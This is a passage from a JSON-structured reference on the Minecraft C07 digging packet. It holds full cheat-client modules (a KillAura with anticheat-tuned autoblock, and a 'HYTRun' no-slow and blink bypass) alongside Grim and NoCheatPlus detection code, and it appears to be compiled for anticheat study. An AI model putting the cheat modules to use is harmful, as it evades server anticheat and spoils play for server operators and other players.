attackTarget = null;\n    rotations = null;\n\n    if (blocking) unblock();\n  }\n\n  @Subscribe(ignoreCanceled = false)\n  private final Listener<EventWalkingUpdate> walkingUpdate = event -> {\n    if (!validTarget(attackTarget) || mode.getValue() == Mode.SWITCH) {\n      attackTarget =\n        (EntityLivingBase) mc.theWorld.loadedEntityList\n          .stream()\n          .filter(entity ->\n            entity instanceof EntityLivingBase &&\n            validTarget((EntityLivingBase) entity)\n          )\n          .min(\n            Comparator.comparingDouble(entity ->\n              sort.getValue().compare((EntityLivingBase) entity)\n            )\n          )\n          .orElse(null);\n    }\n\n    if (attackTarget == null) {\n      if (blocking && event.getStage() == Stage.PRE) unblock();\n      return;\n    }\n\n    if (rotate.getValue()) {\n      float[] rots = RotationUtils.entity(attackTarget);\n      November.instance().rotations().spoof(HIGH, 5, rots);\n      rotations = rots;\n    }\n\n    if (holdingSword()) {\n      if (!blocking) {\n        blocking = true;\n        switch (autoBlock.getValue()) {\n          case HOLD -> mc.gameSettings.keyBindInventory.pressed = true;\n          case BASIC, VANILLA -> {\n            mc.thePlayer.sendQueue.addToSendQueue(\n              new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem())\n            );\n\n            // don't attack after blocking - this could be another setting\n            if (autoBlock.getValue() == AutoBlock.VANILLA) return;\n          }\n        }\n      }\n    } else {\n      if (blocking) unblock();\n    }\n\n    if (event.getStage() == Stage.PRE) {\n      // nov 1.0.0 has this in EventUpdate, this is pretty much the same\n      if (autoBlock.getValue() == AutoBlock.WATCHDOG) {\n        if (attackTarget.hurtTime > 2) {\n          blocking = true;\n          mc.thePlayer.sendQueue.addToSendQueue(\n            new C08PacketPlayerBlockPlacement(null)\n          );\n        }\n        if (attackTarget.hurtTime == 2) unblock();\n      }\n\n      if (timer.passed((long) attackTime())) {\n        if (\n          autoBlock.getValue() == AutoBlock.BASIC && blocking\n        ) mc.thePlayer.sendQueue.addToSendQueue(\n          new C07PacketPlayerDigging(\n            C07PacketPlayerDigging.Action.RELEASE_USE_ITEM,\n            BlockPos.ORIGIN,\n            EnumFacing.DOWN\n          )\n        );\n\n        mc.thePlayer.swingItem();\n        if (keepSprint.getValue()) {\n          mc.thePlayer.sendQueue.addToSendQueue(\n            new C02PacketUseEntity(\n              attackTarget,\n              C02PacketUseEntity.Action.ATTACK\n            )\n          );\n        } else {\n          mc.playerController.attackEntity(mc.thePlayer, attackTarget);\n        }\n\n        timer.reset();\n\n        if (\n          autoBlock.getValue() == AutoBlock.BASIC && !blocking\n        ) mc.thePlayer.sendQueue.addToSendQueue(\n          new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem())\n        );\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C02PacketUseEntity packet) {\n      if (packet.getAction() != C02PacketUseEntity.Action.ATTACK) return;\n\n      Entity entity = packet.getEntityFromWorld(mc.theWorld);\n      if (!(entity instanceof EntityLivingBase livingBase)) return;\n\n      if (\n        autoBlock.getValue() == AutoBlock.WATCHDOG && livingBase.hurtTime > 2\n      ) event.setCanceled(true);\n    } else if (event.get() instanceof C07PacketPlayerDigging packet) {\n      if (\n        packet.getStatus() != C07PacketPlayerDigging.Action.RELEASE_USE_ITEM\n      ) return;\n\n      if (\n        autoBlock.getValue() == AutoBlock.VANILLA ||\n        autoBlock.getValue() == AutoBlock.WATCHDOG\n      ) {\n        event.setCanceled(true);\n      } else {\n        blocking = false;\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventRenderItemUse> renderItemUse = event -> {\n    // event.getItemStack() should never be null because of where the event is hooked\n    if (blocking && event.getItemStack().getItem() instanceof ItemSword) {\n      event.setAction(EnumAction.BLOCK);\n      event.setCanceled(true);\n    }\n  };\n\n  private double attackTime() {\n    return switch (clicking.getValue()) {\n      case BASIC -> 1000.0 /\n      MathUtils.random(minCps.getValue(), maxCps.getValue());\n      default -> 0.0;\n    };\n  }\n\n  private boolean validTarget(EntityLivingBase entity) {\n    if (\n      entity == null ||\n      entity.equals(mc.thePlayer) ||\n      entity.isDead ||\n      entity.getHealth() <= 0.0f\n    ) return false;\n\n    if (entity instanceof EntityArmorStand) return false;\n\n    AntiBotModule antiBot = November\n      .instance()\n      .modules()\n      .get(AntiBotModule.class);\n    if (\n      antiBot != null && antiBot.toggled() && antiBot.bot(entity.getEntityId())\n    ) return false;\n\n    double r = mc.thePlayer.canEntityBeSeen(entity)\n      ? range.getValue()\n      : wallRange.getValue();\n    return mc.thePlayer.getDistanceSqToEntity(entity) <= r * r;\n  }\n\n  private void unblock() {\n    if (!holdingSword()) {\n      blocking = false;\n      return;\n    }\n\n    switch (autoBlock.getValue()) {\n      case HOLD -> mc.gameSettings.keyBindInventory.pressed = false;\n      case BASIC, VANILLA, WATCHDOG -> mc.thePlayer.sendQueue.addToSendQueue(\n        new C07PacketPlayerDigging(\n          C07PacketPlayerDigging.Action.RELEASE_USE_ITEM,\n          BlockPos.ORIGIN,\n          EnumFacing.DOWN\n        )\n      );\n    }\n\n    blocking = false;\n  }\n\n  private boolean holdingSword() {\n    ItemStack itemStack = mc.thePlayer.getHeldItem();\n    return itemStack != null && itemStack.getItem() instanceof ItemSword;\n  }\n\n  public EntityLivingBase getAttackTarget() {\n    return attackTarget;\n  }\n\n  private enum Mode {\n    SINGLE,\n    SWITCH,\n    HURT_TIME,\n  }\n\n  private enum Sort {\n    DISTANCE(entity -> mc.thePlayer.getDistanceSqToEntity(entity)),\n    HEALTH(entity ->\n      (double) (entity.getHealth() + entity.getAbsorptionAmount())\n    ),\n    HURT_TIME(entity -> (double) entity.hurtTime),\n    ARMOR(entity -> (double) entity.getTotalArmorValue());\n\n    private final Function<EntityLivingBase, Double> comparator;\n\n    Sort(Function<EntityLivingBase, Double> comparator) {\n      this.comparator = comparator;\n    }\n\n    public double compare(EntityLivingBase entity) {\n      return comparator.apply(entity);\n    }\n  }\n\n  private enum Click {\n    BASIC,\n    ADVANCED,\n    UPDATED,\n  }\n\n  private enum AutoBlock {\n    NONE,\n    FAKE,\n    HOLD,\n    BASIC,\n    VANILLA,\n    WATCHDOG,\n  }\n}\n// NOTE (AI): The full KillAuraModule, shown here for its C07 half: the BASIC autoblock cycle sends C08 place, swings, then sends C07 RELEASE_USE_ITEM at BlockPos.ORIGIN with EnumFacing.DOWN; unblock() sends the same release when the target dies. The packet filter cancels outgoing RELEASE_USE_ITEM packets under VANILLA and WATCHDOG autoblock. The C02 ATTACK emission in the same file is covered in the C02 writeup.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/KillAuraModule.java",
      "vanilla_hook": "EventWalkingUpdate (attack cycle), EventPacket.Out (release filter), EventRenderItemUse (render-time block action).",
      "anti_cheat_notes": "The release packets use the vanilla BlockPos.ORIGIN and DOWN convention; cancelling the vanilla release under WATCHDOG keeps the server-side block state armed so the next C08 re-arms instantly. The C07 usage here is purely the autoblock state machine, not mining.",
      "variations": "This is the same KillAuraModule file that backs the C02 entry; its C07 half is the release side of the autoblock pair (C08 place then C07 release), unlike the classic clients' NoSlow modules which send the release to cancel eating and blocking slows."
     },
     {
      "name": "HYTRun (no-slow release)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Cancel the blocking slow by releasing the use-item state with C07 RELEASE_USE_ITEM on the ground, then re-placing with C08 to keep blocking.",
      "how_it_works": "On UpdateEvent, while onGround (or within 0.5) the module queues C07 RELEASE_USE_ITEM at BlockPos.ORIGIN with EnumFacing.DOWN; separately, when blocking with a sword, moving, within 0.42 of the ground and with no Aura target, it re-places the held item every 65ms via C08. The blink side cancels and buffers C04, C06, C08, C0A, C0B and C02 during the run window and replays them on disable.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/HYTRun.java =====\npackage me.AquaVit.liquidSense.modules.movement;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.combat.Aura;\nimport net.ccbluex.liquidbounce.utils.MovementUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.ChatComponentText;\nimport net.minecraft.util.EnumFacing;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\n\n@ModuleInfo(name = \"HYTRun\", description = \"HYTRun Bypass:/\", category = ModuleCategory.MOVEMENT)\npublic class HYTRun extends Module {\n\n    private final List<Packet> packets = new ArrayList<>();\n    private final LinkedList<double[]> positions = new LinkedList<>();\n    private boolean disableLogger;\n    Aura killAura = (Aura) LiquidBounce.moduleManager.getModule(Aura.class);\n    private final TimeUtils timer = new TimeUtils();\n\n    private final FloatValue MotionF = new FloatValue(\"MotionSpike\", 5.0F, 0.1F, 30F);\n    private final FloatValue MotionY = new FloatValue(\"MotionY\", 1.0F, 0.1F, 10F);\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer == null)\n            return;\n\n        blink();\n    }\n\n    @Override\n    public void onEnable() {\n        synchronized (positions) {\n            positions.add(new double[]{mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY + (mc.thePlayer.getEyeHeight() / 2), mc.thePlayer.posZ});\n            positions.add(new double[]{mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n        mc.thePlayer.motionY = MotionY.get();\n        mc.thePlayer.motionX *= MotionF.get();\n        mc.thePlayer.motionZ *= MotionF.get();\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (mc.thePlayer == null || disableLogger)\n            return;\n\n        if (packet instanceof C03PacketPlayer) // Cancel all movement stuff\n            event.cancelEvent();\n\n        if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition || packet instanceof C03PacketPlayer.C06PacketPlayerPosLook ||\n                packet instanceof C08PacketPlayerBlockPlacement ||\n                packet instanceof C0APacketAnimation ||\n                packet instanceof C0BPacketEntityAction || packet instanceof C02PacketUseEntity) {\n            event.cancelEvent();\n\n            packets.add(packet);\n        }\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        synchronized (positions) {\n            positions.add(new double[]{mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n        if(mc.thePlayer.onGround || MovementUtils.isOnGround(0.5))\n            mc.thePlayer.sendQueue.addToSendQueue(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, BlockPos.ORIGIN, EnumFacing.DOWN));\n        if(mc.thePlayer.isBlocking() && MovementUtils.isMoving() && MovementUtils.isOnGround(0.42) && ( killAura.getTarget() == null)){\n            if(timer.delay(65)){\n                mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()));\n                timer.reset();\n            }\n        }\n    }\n\n    private void blink() {\n        try {\n            disableLogger = true;\n\n            final Iterator<Packet> packetIterator = packets.iterator();\n            for(; packetIterator.hasNext(); ) {\n                mc.getNetHandler().addToSendQueue(packetIterator.next());\n                packetIterator.remove();\n            }\n\n            disableLogger = false;\n        }catch(final Exception e) {\n            e.printStackTrace();\n            disableLogger = false;\n        }\n\n        synchronized(positions) {\n            positions.clear();\n        }\n    }\n}\n// NOTE (AI): The full HYTRun module: on ground contact it sends C07 RELEASE_USE_ITEM at BlockPos.ORIGIN with EnumFacing.DOWN every update, and while blocking with a sword and no Aura target it re-places the held item every 65ms. The blink half cancels and buffers the movement and interaction packets during the run window.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/HYTRun.java",
      "vanilla_hook": "UpdateEvent (release and re-place), PacketEvent (blink buffer).",
      "anti_cheat_notes": "The release plus re-place pair is the standard no-slow pattern; the 65ms re-place timer and the ground-gated release are the AquaVit tuning. The C07 release itself is position-agnostic to the server.",
      "variations": "HYTRun is the only LiquidSense module that emits C07 RELEASE_USE_ITEM; the AquaVit SpeedMine (see the SpeedMine entry) emits STOP_DESTROY_BLOCK instead. LightningCheck imports C07PacketPlayerDigging but never uses it; the import is dead code and the module only tracks S2C lightning spawns."
     }
    ],
    "general_hooks": "Dig and drop automation hooks UpdateEvent or MotionEvent and sends C07 directly. Item-use and NoSlow modules hook the same events but split pre and post phases: release on pre, re-place on post. Packet-listener modules (Tenacity SpeedMine, Rise 6.x LegitNoSlow, Sigma Scaffold, Rise Infinite) instead hook the outgoing packet event and inspect getStatus() to react to the vanilla dig state machine.",
    "client_variations": "Send paths: PacketUtil.sendPacket and sendPacketSilent in Memeware, addToSendQueue in Nekoware and Tenacity, PacketUtil.sendPacket and sendPacketWithoutEvent in Rise 5.99, PacketUtil.send and sendNoEvent in Rise 6.x, addToSendQueue and NetworkManager.sendPacketNoEvent in Sigma and Spicy. Rise 5.99 and 6.x also expose C07 to their scripting APIs (PacketAPI.send with Action.valueOf). The facing byte varies by module: EnumFacing.UP for nuker and breaker floods, EnumFacing.DOWN for release and drop packets, EnumFacing.NORTH in Memeware's Breaker. November Recode 2.0 queues C07 through addToSendQueue (autoblock releases in KillAuraModule) and filters releases on EventPacket.Out. LiquidSense Dev sends C07 through addToSendQueue (HYTRun release) or NetworkManager.sendPacket (SpeedMine STOP); LightningCheck imports C07PacketPlayerDigging without using it.",
    "related": [
     "C08PacketPlayerBlockPlacement",
     "C02PacketUseEntity",
     "C03PacketPlayer",
     "S23PacketBlockChange"
    ],
    "anticheat": {
     "overview": "The digging packet is the block-break trigger: it carries start, stop, abort and item-release actions with a block position and face. Server-side anticheats treat it as the point to validate break duration against block hardness and tool speed, break reach, swing correlation, and the number of blocks broken per second. The corpus splits into modern simulation checks (Grim FastBreak, Intave CompletionDurationCheck) that recompute the expected mining time, and classic rate checks (NCP blockbreak suite, Arc Nuker) that score break frequency and packet rhythm.",
     "checks": [
      {
       "name": "FastBreak (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "The reference modern fast-break check: verifies that the time between start-digging and finish-digging is long enough for the held tool to break the block.",
       "how_it_works": "Implements BlockBreakListener and PreViaPacketReceiveListener. On START_DIGGING it records the target block and the maximum block damage per 50 ms tick computed from the held item and block properties (BlockBreakSpeed), then on STOP_DIGGING it measures the elapsed time against the accumulated damage. A balance tracks how far the player finished early, and a separate delay balance enforces the 300 ms minimum between non-instant breaks. It cancels the finish-digging packet and flags when the client breaks faster than the simulated damage allows.",
       "detects": "FastBreak and speedmine modules, nuker variants that break blocks in a single instant, and clients that skip the mining animation timing entirely.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/FastBreak.java =====\npackage ac.grim.grimac.checks.impl.breaking;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.impl.verbose.VerboseCodecs;\nimport ac.grim.grimac.checks.type.BlockBreakListener;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockBreak;\nimport ac.grim.grimac.utils.math.GrimMath;\nimport ac.grim.grimac.utils.nmsutil.BlockBreakSpeed;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateType;\nimport com.github.retrooper.packetevents.protocol.world.states.type.StateTypes;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying;\n\nimport java.util.Set;\n\n// Based loosely off of Hawk BlockBreakSpeedSurvival\n// Also based loosely off of NoCheatPlus FastBreak\n// Also based off minecraft wiki: https://minecraft.wiki/w/Breaking#Instant_breaking\n@CheckData(name = \"FastBreak\", stableKey = \"grim.breaking.fast_break\", description = \"Breaking blocks too quickly\")\npublic class FastBreak extends Check implements BlockBreakListener, PreViaPacketReceiveListener {\n    private static final Verbose V =\n            Verbose.of(\"[delay={ulong}ms|diff={f64:%.1f}ms, balance={f64:%.1f}ms], type={block}\");\n\n    // For some reason these states flag and I don't know why.\n    // Better to just exempt to not annoy legit players.\n    private static final Set<StateType> EXEMPT_STATES = Set.of();\n    private final boolean clientOlderThanServer = PacketEvents.getAPI().getServerManager().getVersion().getProtocolVersion() > player.getClientVersion().getProtocolVersion();\n\n    public FastBreak(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    // The block the player is currently breaking\n    Vector3i targetBlockPosition = null;\n    // The maximum amount of damage the player deals to the block\n    //\n    double maximumBlockDamage = 0;\n    // The last time a finish digging packet was sent, to enforce 0.3-second delay after non-instabreak\n    long lastFinishBreak = 0;\n    // The time the player started to break the block, to know how long the player waited until they finished breaking the block\n    long startBreak = 0;\n\n    // The buffer to this check\n    double blockBreakBalance = 0;\n    double blockDelayBalance = 0;\n\n    @Override\n    public void onBlockBreak(BlockBreak blockBreak) {\n        if (blockBreak.action == DiggingAction.START_DIGGING) {\n            if (!ViaVersionUtil.isAvailable) {\n                // Exempt all blocks that do not exist in the player version\n                final WrappedBlockState defaultState = WrappedBlockState.getDefaultState(player.getClientVersion(), blockBreak.block.getType());\n                if (defaultState.getType() == StateTypes.AIR || EXEMPT_STATES.contains(defaultState.getType())) {\n                    return;\n                }\n            }\n            // If client is older than the server, fetch block client actually sees from via\n            // otherwise just return the server-side block (since if client is >= server version the block is guaranteed to exist in client version)\n            // TODO this lazy loads PacketEvents mappings for older versions for clients on versions older than the servers, increasing memory usage\n            //  * its the only thing we use non-native mappings for behind ViaVersion\n            //  * can we translate back \"up\" to server version and run check against server version to avoid loading older registries?\n            WrappedBlockState block = clientOlderThanServer ? WrappedBlockState.getByGlobalId(player.getClientVersion(), player.getViaTranslatedClientBlockID(blockBreak.block.getGlobalId())) : blockBreak.block;\n\n            startBreak = System.currentTimeMillis() - (targetBlockPosition == null ? 50 : 0); // ???\n            targetBlockPosition = blockBreak.position;\n\n            // FIXME: getBlockDamage might not return the correct value if the player switched slots before this\n            maximumBlockDamage = BlockBreakSpeed.getBlockDamage(player, block);\n\n            double breakDelay = System.currentTimeMillis() - lastFinishBreak;\n\n            if (breakDelay >= 275) { // Reduce buffer if \"close enough\"\n                blockDelayBalance *= 0.9;\n            } else { // Otherwise, increase buffer\n                blockDelayBalance += 300 - breakDelay;\n            }\n\n            if (blockDelayBalance > 1000) { // If more than a second of advantage\n                int type = VerboseCodecs.block(blockBreak.block.getType(), player.getClientVersion());\n                if (flag(V.write(verbose()).bool(true).ulong((long) breakDelay).f64(0).f64(0).sint(type)) && shouldModifyPackets()) {\n                    blockBreak.cancel();\n                }\n            }\n\n            clampBalance();\n        }\n\n        if (blockBreak.action == DiggingAction.FINISHED_DIGGING && targetBlockPosition != null) {\n            double predictedTime = Math.ceil(1 / maximumBlockDamage) * 50;\n            double realTime = System.currentTimeMillis() - startBreak;\n            double diff = predictedTime - realTime;\n\n            clampBalance();\n\n            if (diff < 25) {  // Reduce buffer if \"close enough\"\n                blockBreakBalance *= 0.9;\n            } else { // Otherwise, increase buffer\n                blockBreakBalance += diff;\n            }\n\n            if (blockBreakBalance > 1000) { // If more than a second of advantage\n                int type = VerboseCodecs.block(blockBreak.block.getType(), player.getClientVersion());\n                if (flag(V.write(verbose()).bool(false).ulong(0).f64(diff).f64(blockBreakBalance).sint(type)) && shouldModifyPackets()) {\n                    blockBreak.cancel();\n                }\n            }\n\n            // also set start time because the breaking netcode is fucked on 1.14.4+\n            lastFinishBreak = startBreak = System.currentTimeMillis();\n        }\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        // Find the most optimal block damage using the animation packet, which is sent at least once a tick when breaking blocks\n        // On 1.8 clients, via screws with this packet meaning we must fall back to the 1.8 idle flying packet\n        //\n        // listen for flying packets because some block breaks can happen before the next animation (somehow???), causing onGround desync\n        boolean flying = WrapperPlayClientPlayerFlying.isFlying(event.getPacketType());\n        if ((flying || (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9) && event.getPacketType() == PacketType.Play.Client.ANIMATION)) && targetBlockPosition != null) {\n            maximumBlockDamage = Math.max(maximumBlockDamage, BlockBreakSpeed.getBlockDamage(player, player.compensatedWorld.getBlock(targetBlockPosition)));\n        }\n    }\n\n    private void clampBalance() {\n        double balance = Math.max(1000, (player.getTransactionPing()));\n        blockBreakBalance = GrimMath.clamp(blockBreakBalance, -balance, balance); // Clamp not Math.max in case other logic changes\n        blockDelayBalance = GrimMath.clamp(blockDelayBalance, -balance, balance);\n    }\n}\n// NOTE (AI): Grim's FastBreak compares the client-reported break start to the server simulation of block damage over time; the breaking package (FarBreak, MultiBreak, WrongBreak, PositionBreakA/B, RotationBreak) forms a full block-break pipeline driven by the digging packet.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/breaking/FastBreak.java",
       "variations": "Truthful FastBreakA and LightAntiCheat FastBreakA run the same damage-time accounting on smaller event bases. NCP's FastBreak class is an explicit ancestor of this check (credited in the header comment)."
      },
      {
       "name": "BlockBreakListener suite (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The classic 1.8 dispatcher for the whole block-break check family: direction, fast break, frequency, no swing, reach and wrong block.",
       "how_it_works": "Registers six checks (Direction, FastBreak, Frequency, NoSwing, Reach, WrongBlock) plus BlockBreakConfig/BlockBreakData, and listens to BlockBreakEvent, BlockDamageEvent, PlayerAnimationEvent and PlayerInteractEvent at LOWEST priority. The ProtocolLib compat adapters wrap PacketPlayInBlockDig actions (START_DESTROY_BLOCK, STOP_DESTROY_BLOCK, ABORT_DESTROY_BLOCK, RELEASE_USE_ITEM) and route them into the same check set, so both packet-level and event-level break attempts are covered.",
       "detects": "Fast break, nuker and frequency abuse, breaking while looking away from the block, no-swing breaking, break reach beyond the interaction range, and wrong-block exploits.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockbreak/BlockBreakListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.blockbreak;\n\nimport org.bukkit.GameMode;\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.Cancellable;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.block.Action;\nimport org.bukkit.event.block.BlockBreakEvent;\nimport org.bukkit.event.block.BlockDamageEvent;\nimport org.bukkit.event.player.PlayerAnimationEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.event.player.PlayerItemHeldEvent;\nimport org.bukkit.inventory.ItemStack;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.checks.CheckListener;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.blockinteract.BlockInteractData;\nimport fr.neatmonster.nocheatplus.checks.blockinteract.BlockInteractListener;\nimport fr.neatmonster.nocheatplus.checks.net.FlyingQueueHandle;\nimport fr.neatmonster.nocheatplus.checks.net.model.DataPacketFlying;\nimport fr.neatmonster.nocheatplus.compat.AlmostBoolean;\nimport fr.neatmonster.nocheatplus.compat.Bridge1_9;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.data.ICheckData;\nimport fr.neatmonster.nocheatplus.components.data.IData;\nimport fr.neatmonster.nocheatplus.components.registry.factory.IFactoryOne;\nimport fr.neatmonster.nocheatplus.hooks.NCPExemptionManager;\nimport fr.neatmonster.nocheatplus.permissions.Permissions;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.players.PlayerFactoryArgument;\nimport fr.neatmonster.nocheatplus.stats.Counters;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties;\nimport fr.neatmonster.nocheatplus.utilities.moving.MovingUtil;\nimport fr.neatmonster.nocheatplus.worlds.WorldFactoryArgument;\n\n/**\n * Central location to listen to events that are relevant for the block break checks.\n * \n * @see BlockBreakEvent\n */\npublic class BlockBreakListener extends CheckListener {\n\n    /** The direction check. */\n    private final Direction direction = addCheck(new Direction());\n\n    /** The fast break check (per block breaking speed). */\n    private final FastBreak fastBreak = addCheck(new FastBreak());\n\n    /** The frequency check (number of blocks broken) */\n    private final Frequency frequency = addCheck(new Frequency());\n\n    /** The no swing check. */\n    private final NoSwing noSwing = addCheck(new NoSwing());\n\n    /** The reach check. */\n    private final Reach reach = addCheck(new Reach());\n\n    /** The wrong block check. */\n    private final WrongBlock wrongBlock = addCheck(new WrongBlock());\n\n    private AlmostBoolean isInstaBreak = AlmostBoolean.NO;\n\n    private final Counters counters = NCPAPIProvider.getNoCheatPlusAPI().getGenericInstance(Counters.class);\n\n    /** For temporary use: LocUtil.clone before passing deeply, call setWorld(null) after use. */\n    private final Location useLoc = new Location(null, 0, 0, 0);\n\n    @SuppressWarnings(\"unchecked\")\n    public BlockBreakListener(){\n        super(CheckType.BLOCKBREAK);\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        // Register config and data.\n        api.register(api.newRegistrationContext()\n                // BlockBreakConfig\n                .registerConfigWorld(BlockBreakConfig.class)\n                .factory(new IFactoryOne<WorldFactoryArgument, BlockBreakConfig>() {\n                    @Override\n                    public BlockBreakConfig getNewInstance(WorldFactoryArgument arg) {\n                        return new BlockBreakConfig(arg.worldData);\n                    }\n                })\n                .registerConfigTypesPlayer(CheckType.BLOCKBREAK, true)\n                .context() //\n                // BlockBreakData\n                .registerDataPlayer(BlockBreakData.class)\n                .factory(new IFactoryOne<PlayerFactoryArgument, BlockBreakData>() {\n                    @Override\n                    public BlockBreakData getNewInstance(\n                            PlayerFactoryArgument arg) {\n                        return new BlockBreakData(\n                                arg.playerData.getGenericInstance(BlockBreakConfig.class));\n                    }\n                })\n                // (Complete data removal for now.)\n                .addToGroups(CheckType.BLOCKBREAK, true, IData.class, ICheckData.class)\n                .context() //\n                );\n    }\n\n    @EventHandler(ignoreCancelled = false, priority = EventPriority.LOWEST)\n    public void onBlockBreak(final BlockBreakEvent event) {\n        final long now = System.currentTimeMillis();\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        final BlockBreakConfig cc = pData.getGenericInstance(BlockBreakConfig.class);\n        final BlockBreakData data = pData.getGenericInstance(BlockBreakData.class);\n        final BlockInteractData bdata = pData.getGenericInstance(BlockInteractData.class);\n        boolean cancelled = false;\n    \n        if (MovingUtil.hasScheduledPlayerSetBack(player)) {\n            event.setCancelled(true);\n        }\n        // Cancelled events only leads to resetting insta break.\n        if (event.isCancelled()) {\n            isInstaBreak = AlmostBoolean.NO;\n            return;\n        }\n        // TODO: maybe invalidate instaBreak on some occasions.\n        final Block block = event.getBlock();\n        if (BlockProperties.isScaffolding(block.getType())) {\n            return;\n        }\n\n        // Re-check if this is a block interacted with before. With instantly broken blocks, this may be off by one orthogonally.\n        final int tick = TickTask.getTick();\n        final boolean isInteractBlock = !bdata.getLastIsCancelled() && bdata.matchesLastBlock(tick, block);\n        final GameMode gameMode = player.getGameMode();\n        int skippedRedundantChecks = 0;\n        // Did the player try to destroy a liquid block? (Not possible)\n        if (BlockProperties.isLiquid(block.getType()) && !BlockProperties.isWaterPlant(block.getType())\n            && !pData.hasPermission(Permissions.BLOCKBREAK_BREAK_LIQUID, player) \n            && !NCPExemptionManager.isExempted(player, CheckType.BLOCKBREAK_BREAK)){\n            cancelled = true;\n        }\n\n        // Has the player broken a block that was not damaged before?\n        if (!cancelled && wrongBlock.isEnabled(player, pData) \n            && wrongBlock.check(player, block, cc, data, pData, isInstaBreak)) {\n            cancelled = true;\n        }\n\n        // Has the player broken more blocks per second than allowed?\n        if (!cancelled && frequency.isEnabled(player, pData) \n            && frequency.check(player, tick, cc, data, pData)) {\n            cancelled = true;\n        }\n\n        // Has the player broken single blocks faster than possible?\n        if (!cancelled && gameMode != GameMode.CREATIVE\n            && 